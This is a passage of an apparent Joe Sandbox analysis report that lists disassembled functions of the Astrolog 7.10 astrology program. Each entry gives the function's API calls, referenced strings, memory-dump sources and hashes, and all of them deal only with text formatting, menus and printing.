Instruction Fuzzy Hash: 6E314AB1105508F7CB345F54DA49BEA3B78FF45358F224969E89849940CB39CD95C7C1

Function 6C879834 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 82COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 6C87984F
_fprintf.LIBCMT ref: 6C87988A

Strings

Maize, xrefs: 6C8798FB
%d %d %d %d %d %d, xrefs: 6C879884
Rgb %d %d %d, xrefs: 6C8798D8
DW#%d, xrefs: 6C879849
GrayN %d, xrefs: 6C87991D
%s, xrefs: 6C8798F4

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf
String ID: %d %d %d %d %d %d$%s$DW#%d$GrayN %d$Maize$Rgb %d %d %d
API String ID: 1654120334-1105507515
Opcode ID: 9f59170bab47b00bf55c75816075c65b4595f3dbcad712f45dc61c6d02c5cc03
Instruction ID: a68ce098d7e40d8533666573322531cf89e91e1a3759b59363576f3d03b93344
Opcode Fuzzy Hash: 9f59170bab47b00bf55c75816075c65b4595f3dbcad712f45dc61c6d02c5cc03
Instruction Fuzzy Hash: B62125B1515420A6E738470E6E84B3FB2A4974FB08B108C3EF86953E40F324AD80D2B1

Function 6C85DCDA Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 58COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000001), ref: 6C85DD13
_sprintf.LIBCMT ref: 6C85DD37
SetDlgItemTextA.USER32(?,000004D5,?), ref: 6C85DD52
_sprintf.LIBCMT ref: 6C85DD65
SetDlgItemTextA.USER32(?,000004D6,?), ref: 6C85DD7A

Strings

Released %s, xrefs: 6C85DD5F
Astrolog, xrefs: 6C85DD26
October 2020, xrefs: 6C85DD54
32 bit, xrefs: 6C85DD1C
7.10, xrefs: 6C85DD21
%s version %s for %s Windows, xrefs: 6C85DD31

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: ItemText_sprintf$Dialog
String ID: %s version %s for %s Windows$32 bit$7.10$Astrolog$October 2020$Released %s
API String ID: 3095657542-1244327326
Opcode ID: 0e54ca2706d28a821d508f9d2709466e61cebce2cc406d74c5c1dc051c2076a9
Instruction ID: ccde9a5f78c9dcfe38814022706360d68d709ccae6cc424bfcf13795db6483ca
Opcode Fuzzy Hash: 0e54ca2706d28a821d508f9d2709466e61cebce2cc406d74c5c1dc051c2076a9
Instruction Fuzzy Hash: 2B118FB1A4010867CB30DB688F41EEA73B8AB15349F400C67B915E2A40EBF4A594D691

Function 6C85E883 Relevance: 18.1, APIs: 12, Instructions: 102windowCOMMON

Download Yara Rule

APIs

CheckMenuItem.USER32(?,00009C67,00000000), ref: 6C85E89E
CheckMenuItem.USER32(?,00009C8C,00000000), ref: 6C85E8B2
CheckMenuItem.USER32(?,00009CBC,00000000), ref: 6C85E8C9
CheckMenuItem.USER32(?,00009C8A,00000000), ref: 6C85E8E0
CheckMenuItem.USER32(?,00009CB5,00000000), ref: 6C85E8F7
CheckMenuItem.USER32(?,00009C85,00000000), ref: 6C85E90B
CheckMenuItem.USER32(?,00009C89,00000000), ref: 6C85E91F
CheckMenuItem.USER32(?,00009C74,00000000), ref: 6C85E933
CheckMenuItem.USER32(00000000,00009C8C,00000000), ref: 6C85EAE8
CheckMenuItem.USER32(00000000,00009C8A,00000000), ref: 6C85EAFC
TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 6C85EB0F
DestroyMenu.USER32(00000000), ref: 6C85EB16

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Menu$CheckItem$DestroyPopupTrack
String ID:
API String ID: 3720256419-0
Opcode ID: 8b368a529ed1ba4707b606165ce25960dbc46c72d4af5738c31328f79678da6d
Instruction ID: 5223a1ab2d374c5bff6bc8abb9fe0526d51cb522005db3f8a91ebd31a991bbc3
Opcode Fuzzy Hash: 8b368a529ed1ba4707b606165ce25960dbc46c72d4af5738c31328f79678da6d
Instruction Fuzzy Hash: 2921A4737E49157BEF124B7ADD47EAB36E8EB8BB08F184311B521C61C0D65CC901C5A8

Function 6C812A99 Relevance: 17.8, APIs: 4, Strings: 6, Instructions: 261COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C812ACE
_sprintf.LIBCMT ref: 6C812D2A
_sprintf.LIBCMT ref: 6C812DF0
_sprintf.LIBCMT ref: 6C812E1B

Strings

Midpoint, xrefs: 6C812E66
%4d: , xrefs: 6C812D24
%02d", xrefs: 6C812E15
degree span., xrefs: 6C812E2B
Y, xrefs: 6C812BA4
-%4d%c%02d', xrefs: 6C812DEA

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_memset
String ID: -%4d%c%02d'$ degree span.$%02d"$%4d: $Midpoint$Y
API String ID: 2003622500-3496346769
Opcode ID: 1caece52c55fec73bf2ee79067049f17ee830fbe73d116a335d909fde1c0c4b9
Instruction ID: 0538be6a6a71f511ae93e34974e65e8179c6f39b78837aeadfdfa16c90a71908
Opcode Fuzzy Hash: 1caece52c55fec73bf2ee79067049f17ee830fbe73d116a335d909fde1c0c4b9
Instruction Fuzzy Hash: 78B1F471A0821ADFDF349F28DD45B99B7B5FF06308F1109E9D18997A90CB384A98CF51

Function 6C805BC8 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 261COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C805E28

Strings

Cities in atlas nearest: %s, xrefs: 6C805DCB
%d %s: %s (%s, %s), xrefs: 6C805EBD
%3d: , xrefs: 6C805E22
%d %s: %s (%s), xrefs: 6C805EFC

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %3d: $%d %s: %s (%s)$%d %s: %s (%s, %s)$Cities in atlas nearest: %s
API String ID: 1467051239-3642646345
Opcode ID: ac6d0e8759054a71680e55ec0d5d820b392a3d18aa564e9aaece6b4f25a40931
Instruction ID: d79360186be030bbbc3dcc1501a3d1a1d87efe3e587ec6cd7e4b22f5bcde900a
Opcode Fuzzy Hash: ac6d0e8759054a71680e55ec0d5d820b392a3d18aa564e9aaece6b4f25a40931
Instruction Fuzzy Hash: E5A1AD71E096288BDB709F18DE446D9B7B4EB44309F2109EAD84D63A40DB78ADC8CF95

Function 6C823A39 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C823AFB
_sprintf.LIBCMT ref: 6C823B5D
_sprintf.LIBCMT ref: 6C823B93
_sprintf.LIBCMT ref: 6C823BC4

Strings

Person2, xrefs: 6C823B7A, 6C823B86
These parts affect each other prominently., xrefs: 6C823BD4
Person1, xrefs: 6C823ACF, 6C823AD4
%s %s %s: %s's, xrefs: 6C823AF5
%s's %s., xrefs: 6C823B8D
%s., xrefs: 6C823BBE

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText
String ID: %s %s %s: %s's$%s's %s.$%s.$Person1$Person2$These parts affect each other prominently.
API String ID: 777165778-3301092869
Opcode ID: 2e3934ccafac3640722cb1e1fa8ff3a9e2f5605a12d7898d9d2ab5c0a4999aa5
Instruction ID: 74269eeba181bcffe09f95793b6009ff2b70670b620e308e9a2ed9de129472dc
Opcode Fuzzy Hash: 2e3934ccafac3640722cb1e1fa8ff3a9e2f5605a12d7898d9d2ab5c0a4999aa5
Instruction Fuzzy Hash: DE41A771A080186BCB21DF2CDE96FD577B9AB16308F9508A1D144D7A50DB7DEDC4DB80

Function 6C8235E3 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C823677
_sprintf.LIBCMT ref: 6C8236B6
_sprintf.LIBCMT ref: 6C8236D7
_sprintf.LIBCMT ref: 6C82370C

Strings

the person, xrefs: 6C82369C, 6C8236A9, 6C8236C5, 6C8236CA
the same aspect inside %s's makeup., xrefs: 6C8236D1
Energy representing, xrefs: 6C823651
This part of their psyche will be strongly influenced., xrefs: 6C82371C
%s's %s., xrefs: 6C8236B0
%s., xrefs: 6C823706

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText
String ID: %s's %s.$%s.$Energy representing$This part of their psyche will be strongly influenced.$the person$the same aspect inside %s's makeup.
API String ID: 777165778-786343675
Opcode ID: 39e656e8bec551689ee8d5a9abbfe79987e7e58f48342d203fd190aeffbed474
Instruction ID: 2c5ce2a7a0ac348895bad0ec1b1a414e313eae0d52524453584a24e0c6af8f10
Opcode Fuzzy Hash: 39e656e8bec551689ee8d5a9abbfe79987e7e58f48342d203fd190aeffbed474
Instruction Fuzzy Hash: AB31B3B1D041189FCF31DB14CA95FD977B9AB16308F5008A5D185A7B50DBB8AEC8CBC0

Function 6C82BF00 Relevance: 16.6, APIs: 11, Instructions: 114COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6C82BF27
__floor_pentium4.LIBCMT ref: 6C82BF7B
__floor_pentium4.LIBCMT ref: 6C82BF92
__floor_pentium4.LIBCMT ref: 6C82BF3E

Part of subcall function 6C8A6320: ___libm_error_support.LIBCMT ref: 6C8A63D5

__floor_pentium4.LIBCMT ref: 6C82BFAD
__floor_pentium4.LIBCMT ref: 6C82BFC7
__floor_pentium4.LIBCMT ref: 6C82BFDB
__floor_pentium4.LIBCMT ref: 6C82BFF2
__floor_pentium4.LIBCMT ref: 6C82C024
__floor_pentium4.LIBCMT ref: 6C82C048
__floor_pentium4.LIBCMT ref: 6C82C06C

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __floor_pentium4$___libm_error_support
String ID:
API String ID: 190838090-0
Opcode ID: b20eb0c6653b6a688bbdd465bcbe97ba3e0e3253a0e8562066d7c2e90e3e1471
Instruction ID: 3fedd34dd744eb463d33a4de08ca6d1f66997ddaeeae35346f47d5185eb79144
Opcode Fuzzy Hash: b20eb0c6653b6a688bbdd465bcbe97ba3e0e3253a0e8562066d7c2e90e3e1471
Instruction Fuzzy Hash: 4B416D70904E0AD2DF646FB8E9494AEBF74FFDA318F5209A9D0D0525A4CF3108B9D385

Function 6C8768FF Relevance: 16.2, APIs: 4, Strings: 5, Instructions: 450COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C876A48
_sprintf.LIBCMT ref: 6C876A58
_sprintf.LIBCMT ref: 6C876E71
_sprintf.LIBCMT ref: 6C876E8D

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

Strings

%.3s, xrefs: 6C876E6B
*, xrefs: 6C876D22
%2d, xrefs: 6C876E87
Average, xrefs: 6C876A52
Ray %d, xrefs: 6C876A42

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__output_l
String ID: %.3s$%2d$*$Average$Ray %d
API String ID: 1830584065-2236730207
Opcode ID: 0000544abff1626b4a32dcc3fafd09ca3560542778d65db5b1564644ceeed536
Instruction ID: b717c6658a5755ba47e257df75c8028221087c3eea75edd687404722b0301367
Opcode Fuzzy Hash: 0000544abff1626b4a32dcc3fafd09ca3560542778d65db5b1564644ceeed536
Instruction Fuzzy Hash: 02126B72E492298BCB709F28CE45BDCB7B4FB05318F1548E5D459A7A40EB346E89CF90

Function 6C818DF7 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 290COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C818E75
_sprintf.LIBCMT ref: 6C818F07
_sprintf.LIBCMT ref: 6C81906D
_sprintf.LIBCMT ref: 6C8190DB

Strings

%s%5d, xrefs: 6C818E6F
-- , xrefs: 6C818FC3
--%c, xrefs: 6C8190D5
%c%c%c, xrefs: 6C818F01
%2d%c, xrefs: 6C819067

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %2d%c$%c%c%c$%s%5d$-- $--%c
API String ID: 1467051239-2887972329
Opcode ID: a10915a29c086f00334712b194b8ed43706e993fcdee230f23c2e7097aa3e2c8
Instruction ID: a480d5b68d8933c39c97d9b16d1da6f97b05c465ce5c45dbd33a1d9a7bf0a8b5
Opcode Fuzzy Hash: a10915a29c086f00334712b194b8ed43706e993fcdee230f23c2e7097aa3e2c8
Instruction Fuzzy Hash: C1A1B272A085158FDB30DB6CCA86BDDB3F1EB85318F21097AD45A97E80DB355DC58B80

Function 6C818BF1 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 170COMMON

Download Yara Rule

APIs

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C818C4A

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

_sprintf.LIBCMT ref: 6C818C85

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

Part of subcall function 6C8214FC: _fprintf.LIBCMT ref: 6C8215E2
Part of subcall function 6C8214FC: SetWindowExtEx.GDI32(00000000,00000000,00000000), ref: 6C8216FC
Part of subcall function 6C8214FC: SetBkMode.GDI32(00000001), ref: 6C82170A
Part of subcall function 6C8214FC: SelectObject.GDI32(?,00000000), ref: 6C82171C

_sprintf.LIBCMT ref: 6C818D3D
_sprintf.LIBCMT ref: 6C818DCC

Strings

-- , xrefs: 6C818CCD
--%c, xrefs: 6C818DC6
%2d, xrefs: 6C818D37
%s%5d, xrefs: 6C818C44
%c%c%c, xrefs: 6C818C7F

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
